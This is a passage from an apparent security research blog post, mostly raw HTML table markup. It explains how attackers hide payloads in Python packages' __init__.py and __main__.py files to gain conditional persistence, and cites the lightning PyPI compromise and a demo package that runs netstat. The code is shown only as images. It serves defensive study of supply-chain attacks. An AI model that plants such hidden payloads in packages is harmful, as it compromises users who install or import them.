SCXW202814000 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">, wheel</span></span><span class="EOP SCXW202814000 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>Init files define their parent folder as a Python package. They also enable users to customize import process of a module within the same folder. They are executed each time a module within the same folder is imported. Adversaries abuse this feature by hiding their malicious payload within often overlooked &#x201C;__init__.py&#x201D; files. This technique does not lead to compromising of the entire Python environment. The malicious payload only gets invoked once a module is imported from its directory, therefore leading to a conditional persistence on the target environment. This technique has been utilized <a href="https://snyk.io/blog/lightning-pypi-compromise-bun-based-credential-stealer/" rel="noreferrer noopener"><u>in the wild</u></a> as part of the <code>lightning</code> supply chain compromise.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-14-figure-6.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="360" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-14-figure-6.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-14-figure-6.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-14-figure-6.png 1430w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 6. Importing a function from an infected package.&#xA0;</span></figcaption></figure><p>Importing the module on Python interpreter or executing a script that imports functions from this module leads to victim endpoint&#x2019;s compromise.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-15.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="427" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-15.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-15.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-15.png 1430w" sizes="(min-width: 720px) 720px"></figure><p><strong>Payload execution through module scripts</strong>&#xA0;</p>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW163878288 BCX4" border="1" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1184" aria-rowcount="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: none; border-spacing: 0px;"><tbody class="SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW163878288 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstRow FirstCol SCXW163878288 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 110px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="882089264" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{71}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">OS</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW163878288 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 512px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="503452360" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{78}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Windows, Linux, macOS</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW163878288 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW163878288 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 110px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="1424465358" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{86}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Category</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW163878288 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 512px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="1419629806" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{93}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Package Content Abuse</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW163878288 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW163878288 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 110px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="1399956635" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{101}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistence</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW163878288 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 512px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="1237626903" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{108}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Conditional (fires when victim runs the package with </span></span><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 10pt; line-height: 15px; font-family: &quot;Courier New&quot;, &quot;Courier New_EmbeddedFont&quot;, &quot;Courier New_MSCustomFont&quot;, &quot;Courier New_MSFontService&quot;, monospace; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">python -m</span></span><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">)</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW163878288 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW163878288 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 110px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="1289910559" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{120}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW163878288 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 512px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="659384790" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{127}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">setup.py, </span><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">pyproject.toml</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW163878288 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol LastRow SCXW163878288 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 110px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="2115189827" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{135}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Distributions</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW163878288 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 512px;"><div class="TableCellContent SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW163878288 BCX4" paraid="1123804244" paraeid="{6f425647-4d7e-480a-9f78-56bf52300345}{142}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">sdist</span><span class="NormalTextRun SCXW163878288 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">, wheel</span></span><span class="EOP SCXW163878288 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>Python packages can be executed as a script using the <code>-m</code> flag. In this case, a package is imported and its &#x201C;__main__.py&#x201D; is used as an entry point. Python package manager pip is one of the common examples of this usage. Besides having its standalone binary &#x201C;pip.exe&#x201D;, it also can be executed as <code>python -m pip &lt;args&gt;</code>. Similarly, Python site module can be executed as a script, in order to list site configuration of the given Python environment.&#xA0;&#xA0;</p><p>Adversaries can leverage main files to hide their payloads. Malicious code gets executed each time module is executed as a script, therefore achieving a conditional persistence on the victim endpoint. In Figure 7, &#x201C;__main__.py&#x201D;, belonging to <code>redpy_demo</code> package, executes the <code>netstat</code> command through using the <code>subprocess</code> module.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-16-figure-7.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="690" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-16-figure-7.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-16-figure-7.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-16-figure-7.png 1430w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 7. __main__.py executing commands through cmd.exe.</span></figcaption></figure><p>After installation, executing the <code>redpy_demo</code> package as a module leads to execution of arbitrary code.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-17.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="427" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-17.png 600w, 